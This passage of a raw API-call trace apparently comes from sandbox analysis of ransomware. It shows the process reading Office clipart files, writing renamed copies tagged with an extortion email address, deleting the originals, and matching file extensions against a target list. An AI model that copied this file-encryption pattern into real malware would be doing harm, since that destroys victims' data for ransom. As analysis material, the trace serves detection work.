Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02390_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.895] GetLastError () returned 0x0 [0178.895] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xe64, lpOverlapped=0x0) returned 1 [0178.896] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe70, lpOverlapped=0x0) returned 1 [0178.897] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.897] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.897] SetEndOfFile (hFile=0x39c) returned 1 [0178.898] CloseHandle (hObject=0x39c) returned 1 [0178.898] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.898] SetEndOfFile (hFile=0x368) returned 1 [0178.901] CloseHandle (hObject=0x368) returned 1 [0178.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02390_.wmf")) returned 1 [0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 68 [0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 68 [0178.905] lstrlenW (lpString=".doc") returned 4 [0178.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.905] lstrlenW (lpString=".docx") returned 5 [0178.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.905] lstrlenW (lpString=".pdf") returned 4 [0178.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.905] lstrlenW (lpString=".xls") returned 4 [0178.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.905] lstrlenW (lpString=".xlsx") returned 5 [0178.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.905] lstrlenW (lpString=".ppt") returned 4 [0178.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 68 [0178.905] lstrlenW (lpString=".zip") returned 4 [0178.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.905] lstrlenW (lpString=".rar") returned 4 [0178.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.905] lstrlenW (lpString=".bz2") returned 4 [0178.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.905] lstrlenW (lpString=".7z") returned 3 [0178.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 68 [0178.905] lstrlenW (lpString=".dbf") returned 4 [0178.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 68 [0178.905] lstrlenW (lpString=".1cd") returned 4 [0178.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 68 [0178.905] lstrlenW (lpString=".jpg") returned 4 [0178.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 68 [0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 68 [0178.905] lstrlenW (lpString=".doc") returned 4 [0178.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.905] lstrlenW (lpString=".docx") returned 5 [0178.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.905] lstrlenW (lpString=".pdf") returned 4 [0178.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.905] lstrlenW (lpString=".xls") returned 4 [0178.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.905] lstrlenW (lpString=".xlsx") returned 5 [0178.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.905] lstrlenW (lpString=".ppt") returned 4 [0178.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 68 [0178.906] lstrlenW (lpString=".zip") returned 4 [0178.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.906] lstrlenW (lpString=".rar") returned 4 [0178.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.906] lstrlenW (lpString=".bz2") returned 4 [0178.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.906] lstrlenW (lpString=".7z") returned 3 [0178.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 68 [0178.906] lstrlenW (lpString=".dbf") returned 4 [0178.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 68 [0178.906] lstrlenW (lpString=".1cd") returned 4 [0178.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 68 [0178.906] lstrlenW (lpString=".jpg") returned 4 [0178.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.906] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.906] lstrlenW (lpString="NA02405_.WMF") returned 12 [0178.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.911] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=20608) returned 1 [0178.911] CloseHandle (hObject=0x300) returned 1 [0178.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02405_.wmf")) returned 0x220 [0178.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02405_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.917] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.917] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02405_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.921] GetLastError () returned 0x0 [0178.921] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x5080, lpOverlapped=0x0) returned 1 [0178.922] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5090, lpOverlapped=0x0) returned 1 [0178.923] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.923] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.923] SetEndOfFile (hFile=0x368) returned 1 [0178.924] CloseHandle (hObject=0x368) returned 1 [0178.924] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.924] SetEndOfFile (hFile=0x3a4) returned 1 [0178.927] CloseHandle (hObject=0x3a4) returned 1 [0178.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02405_.wmf")) returned 1 [0178.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 68 [0178.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 68 [0178.930] lstrlenW (lpString=".doc") returned 4 [0178.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.930] lstrlenW (lpString=".docx") returned 5 [0178.930] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.930] lstrlenW (lpString=".pdf") returned 4 [0178.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.930] lstrlenW (lpString=".xls") returned 4 [0178.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.930] lstrlenW (lpString=".xlsx") returned 5 [0178.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.930] lstrlenW (lpString=".ppt") returned 4 [0178.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 68 [0178.930] lstrlenW (lpString=".zip") returned 4 [0178.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.930] lstrlenW (lpString=".rar") returned 4 [0178.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.930] lstrlenW (lpString=".bz2") returned 4 [0178.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.931] lstrlenW (lpString=".7z") returned 3 [0178.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 68 [0178.931] lstrlenW (lpString=".dbf") returned 4 [0178.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 68 [0178.931] lstrlenW (lpString=".1cd") returned 4 [0178.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 68 [0178.931] lstrlenW (lpString=".jpg") returned 4 [0178.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 68 [0178.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 68 [0178.931] lstrlenW (lpString=".doc") returned 4 [0178.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.931] lstrlenW (lpString=".docx") returned 5 [0178.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.931] lstrlenW (lpString=".pdf") returned 4 [0178.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.931] lstrlenW (lpString=".xls") returned 4 [0178.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.931] lstrlenW (lpString=".xlsx") returned 5 [0178.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.931] lstrlenW (lpString=".ppt") returned 4 [0178.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 68 [0178.931] lstrlenW (lpString=".zip") returned 4 [0178.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.931] lstrlenW (lpString=".rar") returned 4 [0178.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.931] lstrlenW (lpString=".bz2") returned 4 [0178.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.931] lstrlenW (lpString=".7z") returned 3 [0178.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 68 [0178.931] lstrlenW (lpString=".dbf") returned 4 [0178.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 68 [0178.931] lstrlenW (lpString=".1cd") returned 4 [0178.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 68 [0178.931] lstrlenW (lpString=".jpg") returned 4 [0178.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.931] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.931] lstrlenW (lpString="NA02423_.WMF") returned 12 [0178.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.936] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=12216) returned 1 [0178.936] CloseHandle (hObject=0x2fc) returned 1 [0178.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02423_.wmf")) returned 0x220 [0178.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02423_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.941] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.941] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02423_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.945] GetLastError () returned 0x0 [0178.945] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2fb8, lpOverlapped=0x0) returned 1 [0178.946] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2fc0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2fc0, lpOverlapped=0x0) returned 1 [0178.947] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.947] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.947] SetEndOfFile (hFile=0x300) returned 1 [0178.949] CloseHandle (hObject=0x300) returned 1 [0178.950] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.950] SetEndOfFile (hFile=0x3a4) returned 1 [0178.952] CloseHandle (hObject=0x3a4) returned 1 [0178.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02423_.wmf")) returned 1 [0178.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 68 [0178.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 68 [0178.955] lstrlenW (lpString=".doc") returned 4 [0178.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.955] lstrlenW (lpString=".docx") returned 5 [0178.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.955] lstrlenW (lpString=".pdf") returned 4 [0178.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.955] lstrlenW (lpString=".xls") returned 4 [0178.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.955] lstrlenW (lpString=".xlsx") returned 5 [0178.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.955] lstrlenW (lpString=".ppt") returned 4 [0178.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 68 [0178.955] lstrlenW (lpString=".zip") returned 4 [0178.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.955] lstrlenW (lpString=".rar") returned 4 [0178.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.955] lstrlenW (lpString=".bz2") returned 4 [0178.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.955] lstrlenW (lpString=".7z") returned 3 [0178.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 68 [0178.955] lstrlenW (lpString=".dbf") returned 4 [0178.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 68 [0178.955] lstrlenW (lpString=".1cd") returned 4 [0178.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 68 [0178.955] lstrlenW (lpString=".jpg") returned 4 [0178.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 68 [0178.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 68 [0178.956] lstrlenW (lpString=".doc") returned 4 [0178.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.956] lstrlenW (lpString=".docx") returned 5 [0178.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.956] lstrlenW (lpString=".pdf") returned 4 [0178.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.956] lstrlenW (lpString=".xls") returned 4 [0178.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.956] lstrlenW (lpString=".xlsx") returned 5 [0178.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.956] lstrlenW (lpString=".ppt") returned 4 [0178.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 68 [0178.956] lstrlenW (lpString=".zip") returned 4 [0178.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.956] lstrlenW (lpString=".rar") returned 4 [0178.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.956] lstrlenW (lpString=".bz2") returned 4 [0178.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.956] lstrlenW (lpString=".7z") returned 3 [0178.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 68 [0178.956] lstrlenW (lpString=".dbf") returned 4 [0178.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 68 [0178.956] lstrlenW (lpString=".1cd") returned 4 [0178.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 68 [0178.956] lstrlenW (lpString=".jpg") returned 4 [0178.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.956] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.956] lstrlenW (lpString="NA02435_.WMF") returned 12 [0178.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.962] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4088) returned 1 [0178.962] CloseHandle (hObject=0x300) returned 1 [0178.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02435_.wmf")) returned 0x220 [0178.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02435_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.967] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.967] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02435_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.969] GetLastError () returned 0x0 [0178.969] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, 